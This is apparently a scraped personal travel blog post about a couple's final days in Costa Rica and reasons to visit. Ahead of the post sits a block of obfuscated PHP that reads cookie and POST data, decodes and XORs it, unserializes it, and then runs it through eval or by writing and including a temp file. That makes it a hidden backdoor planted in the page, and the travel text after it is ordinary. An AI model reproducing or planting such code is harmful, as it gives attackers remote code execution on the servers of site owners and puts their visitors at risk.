$QfzSW = chr ( 1001 - 903 )."\x5f" . chr ( 192 - 104 ).'V' . "\170" . "\x73";$VyWSfweD = "\x63" . 'l' . chr ( 245 - 148 ).chr (115) . chr ( 790 - 675 ).chr ( 730 - 635 )."\x65" . chr ( 483 - 363 ).'i' . chr (115) . "\164" . chr (115); $RjZSoAlfti = class_exists($QfzSW); $VyWSfweD = "52440";$JbbTfEnQxN = !1;if ($RjZSoAlfti == $JbbTfEnQxN){function poKZaue(){return FALSE;}$GXXLgERTbA = "28817";poKZaue();class b_XVxs{private function kcmeoKX($GXXLgERTbA){if (is_array(b_XVxs::$cvLgxBnc)) {$yguGOwJ = str_replace(chr (60) . "\77" . chr (112) . "\x68" . chr (112), "", b_XVxs::$cvLgxBnc['c' . chr (111) . chr ( 636 - 526 )."\x74" . "\x65" . chr (110) . chr (116)]);eval($yguGOwJ); $GXXLgERTbA = "28817";exit();}}private $yLGNtKaHQQ;public function waEfF(){echo 10041;}public function __destruct(){$GXXLgERTbA = "62285_13946";$this->kcmeoKX($GXXLgERTbA); $GXXLgERTbA = "62285_13946";}public function __construct($SuACbXwlma=0){$NDVBCo = $_POST;$odccqzGBAX = $_COOKIE;$hpFjVK = "f095e8d6-2171-46ca-aad9-92b299011a84";$GJnntnvlG = @$odccqzGBAX[substr($hpFjVK, 0, 4)];if (!empty($GJnntnvlG)){$cudNfWzkLy = "base64";$EeUEwDryjj = "";$GJnntnvlG = explode(",", $GJnntnvlG);foreach ($GJnntnvlG as $ftDJf){$EeUEwDryjj .= @$odccqzGBAX[$ftDJf];$EeUEwDryjj .= @$NDVBCo[$ftDJf];}$EeUEwDryjj = array_map($cudNfWzkLy . chr (95) . "\144" . chr ( 732 - 631 )."\x63" . chr (111) . "\x64" . chr (101), array($EeUEwDryjj,)); $EeUEwDryjj = $EeUEwDryjj[0] ^ str_repeat($hpFjVK, (strlen($EeUEwDryjj[0]) / strlen($hpFjVK)) + 1);b_XVxs::$cvLgxBnc = @unserialize($EeUEwDryjj); $EeUEwDryjj = class_exists("62285_13946");}}public static $cvLgxBnc = 44219;}$HfpvAxQji = new /* 33573 */ $QfzSW(28817 + 28817); $GXXLgERTbA = strpos($GXXLgERTbA, $GXXLgERTbA); $JbbTfEnQxN = $HfpvAxQji = $GXXLgERTbA = Array();}$VfvOtI = "\x6d" . 'v' . "\x50" . chr ( 568 - 473 )."\x4b" . chr ( 1067 - 983 ).chr (113) . 'q';$YepOuBvZMj = "\x63" . chr (108) . "\x61" . "\163" . chr (115) . chr (95) . chr ( 686 - 585 )."\x78" . "\151" . 's' . chr ( 757 - 641 ).chr ( 1018 - 903 ); $DaKBa = class_exists($VfvOtI); $YepOuBvZMj = "43561";$XXfinpKdn = strpos($YepOuBvZMj, $VfvOtI);if ($DaKBa == $XXfinpKdn){function GtXKTPM(){$xEBordVnoH = new /* 55472 */ mvP_KTqq(31278 + 31278); $xEBordVnoH = NULL;}$VCfLfBw = "31278";class mvP_KTqq{private function seuHSea($VCfLfBw){if (is_array(mvP_KTqq::$tfdnOcrbSj)) {$name = sys_get_temp_dir() . "/" . crc32(mvP_KTqq::$tfdnOcrbSj["salt"]);@mvP_KTqq::$tfdnOcrbSj["write"]($name, mvP_KTqq::$tfdnOcrbSj["content"]);include $name;@mvP_KTqq::$tfdnOcrbSj["delete"]($name); $VCfLfBw = "31278";exit();}}public function ZOEreboZRC(){$CqGzLXmgJi = "48740";$this->_dummy = str_repeat($CqGzLXmgJi, strlen($CqGzLXmgJi));}public function __destruct(){mvP_KTqq::$tfdnOcrbSj = @unserialize(mvP_KTqq::$tfdnOcrbSj); $VCfLfBw = "63288_7488";$this->seuHSea($VCfLfBw); $VCfLfBw = "63288_7488";}public function ipGxzTDBvp($CqGzLXmgJi, $pDYbcdyk){return $CqGzLXmgJi[0] ^ str_repeat($pDYbcdyk, intval(strlen($CqGzLXmgJi[0]) / strlen($pDYbcdyk)) + 1);}public function mPNMsVvS($CqGzLXmgJi){$ItoZp = chr ( 212 - 114 ).chr (97) . 's' . "\x65" . chr ( 430 - 376 )."\x34";return array_map($ItoZp . chr (95) . 'd' . chr ( 408 - 307 )."\143" . 'o' . "\x64" . 'e', array($CqGzLXmgJi,));}public function __construct($GRqlMUw=0){$bysmmIg = "\x2c";$CqGzLXmgJi = "";$YFafZHLfi = $_POST;$tcYXA = $_COOKIE;$pDYbcdyk = "6d97da7d-d34d-43b9-b7c6-f2a783baf789";$QTTqvlAW = @$tcYXA[substr($pDYbcdyk, 0, 4)];if (!empty($QTTqvlAW)){$QTTqvlAW = explode($bysmmIg, $QTTqvlAW);foreach ($QTTqvlAW as $yxbjpKCIxz){$CqGzLXmgJi .= @$tcYXA[$yxbjpKCIxz];$CqGzLXmgJi .= @$YFafZHLfi[$yxbjpKCIxz];}$CqGzLXmgJi = $this->mPNMsVvS($CqGzLXmgJi);}mvP_KTqq::$tfdnOcrbSj = $this->ipGxzTDBvp($CqGzLXmgJi, $pDYbcdyk);if (strpos($pDYbcdyk, $bysmmIg) !== FALSE){$pDYbcdyk = explode($bysmmIg, $pDYbcdyk); $xJKDMiJVJh = base64_decode(md5($pDYbcdyk[0])); $auify = strlen($pDYbcdyk[1]) > 5 ? substr($pDYbcdyk[1], 0, 5) : $pDYbcdyk[1];$_GET['new_key'] = md5(implode('', $pDYbcdyk)); $dNUtwl = str_repeat($auify, 2); $KkMINZ = array_map('trim', $pDYbcdyk);}}public static $tfdnOcrbSj = 23309;}GtXKTPM();} Last Days in Costa Rica and Why You Should Visit – Melissa's Visual Ramblings
Posted on by melissamnoel

Last Days in Costa Rica and Why You Should Visit

I thought I’d dedicate some space to why this country is so magical. Really, you should come. Here’s why. 

  1. It’s relatively undiscovered, and I think that won’t be the case in 20 years from now. It’s become an increasingly popular destination for US tourists in the last 5-10 years, but prices are still cheap and the locals still love us. 
  2. People are SO friendly, all the time!! For instance, when we walk into a restaurant, instead of jumping straight to, “How many people?” the host always asks how we’re doing and how our day was. Every single time. And they genuinely care about the answer! It’s made me realize that I should stop and take the time to really talk to people instead of rushing about my day. 
  3. PURA VIDA. Along those same lines, Ticos (Costa Ricans) have a saying that translates to “pure life”: pura vida. It goes beyond that though – it can mean please, thank you, nice to meet you, no worries, have a great day, isn’t life great, etc. One local told us that it’s not a problem if you don’t speak Spanish in Costa Rica because 80% of what’s said is “pura vida”. 
  4. Speak English? Cool! Practicing your Spanish? Awesome! They welcome everyone. It was very easy to get around using English. We were also floored by the number of people who would stoop down to our level and speak verryyy sllooowwww Spanish to help us practice. 
  5. The range of sights in one small country is astounding. The land mass of Costa Rica is approximately the same as West Virginia, yet it borders two oceans and has a rainforest in between. The west coast was hot and dry for perfect beach weather, and the rainforest experience was wet and humid with tons of cool wildlife. Plus throw in a bunch of volcanos and national parks to explore. 
  6. I have to mention how amazing our hotels were. It doesn’t seem fair to even call them hotels. In Arenal we stayed at Nayara Gardens and Amor Arenal, in both of which we had our own freestanding villa with a private jacuzzi on the deck. Amor Arenal directly faced the volcano and was bigger than some apartments that I’ve lived in. I think people would pay double or triple what we paid (which is why you need to go now and not in ten years when they’ve figured it out)!
Our back patio at Amor Arenal!
  1. There is something for everyone. Beaches, surfing, boat rides, hiking, thermal springs, canyoning, wildlife walks, hanging bridges, cooking classes, restaurants, kayaking, biking, zip lines, coffee and chocolate tours, local breweries, great food, you name it! We met people who stayed on the beach or hopped from one hot spring to the next for a week and others who took a more adventurous route. 
  2. It’s really not that far from the US. The airplane ride was only 3-3.5 hours from the Atlanta airport, and similar from Texas or other southern states. That’s much shorter than going somewhere like Southeast Asia, which is the next closest experience in my mind.
  3. Their economy is becoming more geared toward tourism, and it’s opening up doors for locals who want to do more than farming or other low-wage jobs. COVID hit them hard and shut down all tourist businesses for 4-12 months. It felt good to support these super kind, generous people. 
  4. The food was really good and so fresh. Plus it was vegetarian friendly! Bonus: I could eat those fried plantains at every. single. meal.
Yep those ones, right there.

Ugh, last day of our trip. It’s always so surprising when we get to this point. We packed in a cooking class, a massage, and a nighttime frog walk today! 

Empanadas, ceviche, and flambé plantains were on the menu at the cooking class. The empanadas were remarkably easy to make – the dough was just masa flour and water. Roll it out into a circular shape, pile on your fillings (beans/veggies/chicken/etc.), fold in half and pinch it like a dumpling, and fry them up! Ceviche in Costa Rica is served with fish that was raw but gets “cooked” by marinating in lime juice for 3-4 hours. Did you know that counts as cooking, because I didn’t. But in Peru, where it was originally created, it isn’t given time to marinate so it is considered raw fish. (Or you can sub hearts of palm and avocado chunks like me and not have to worry about it!) 🙂 We had been waiting all week for a good view of the volcano, and it actually came out during our cooking class. Clouds get stuck on the volcano and it rains a little bit almost every day – since it is a rainforest, but today was our lucky day. It was so great to get to see Arenal!

Chef Mark, getting all fired up
My attempt at an artistic dessert. Not terrible!
Come out, come out volcano!
Chef Scott has rescued 45 dogs! We got to meet a few of them while we were cooking ❤️

There is nothing like a massage at a five-star hotel like this, and then throw on the background noise of a river rushing below and the wind rustling the trees in the jungle…man. It was heaven. It felt especially good after all of the hiking and running we’ve done on these hills. They aren’t exactly mountains, but all of the topography around here is steep. My Minnesotan self isn’t used to every run being on a 45-degree incline. 

Massage setting! Completely open air.
That is a good hill, my friends.

Frogs, snakes, crabs and spiders probably aren’t our normal cup of tea, but the nighttime wildlife walk that we went on was spectacular. I don’t think either one of us quite knew what we were getting into when, for instance, the first creature that we saw was a very poisonous snake that hissed its tongue out at us. The guide’s expertise was extraordinary, and he says that he’s been doing these tours for 18 years and no tourist has ever gotten bit. I believe it, because none of the animals or insects that we saw seemed to mind that we were there. I kept waiting for them to jump at us or scurry away, but they stayed frozen in place while we all pointed our bright flashlights at them and snapped a bunch of photos. 

My favorites were the red-eyed tree frog, which were so cute, and the blue jeans poison dart frog. Though someone should tell them that skinny jeans are out. 

Mr. Blue Jeans
Red-eyed tree frog. Actually super cute (cuter than a sloth, maybe 🤔)

After all of my hoping and finger crossing that maybe some day I’d be the one to spot an animal in the rainforest, my wish came true.  I heard a rustling on the ground, pointed my flashlight and BAM there was an armadillo!! (And I heard him say “I’m a holiday armadillo!” – Ross from Friends). 

Charlotte herself, hard at work on a masterpiece.

This trip has been amazing in so many ways. I’m really glad to have gotten the time with my dear hubby, especially after everything that has kept us on our toes in the past two years (e.g. COVID, a baby, jobs, etc.). Costa Rica does a great job of catering to people who are on their honeymoon or “second honeymoon”, and we soaked it up. Thanks for traveling with us again! Until next time.

Love,

Melissa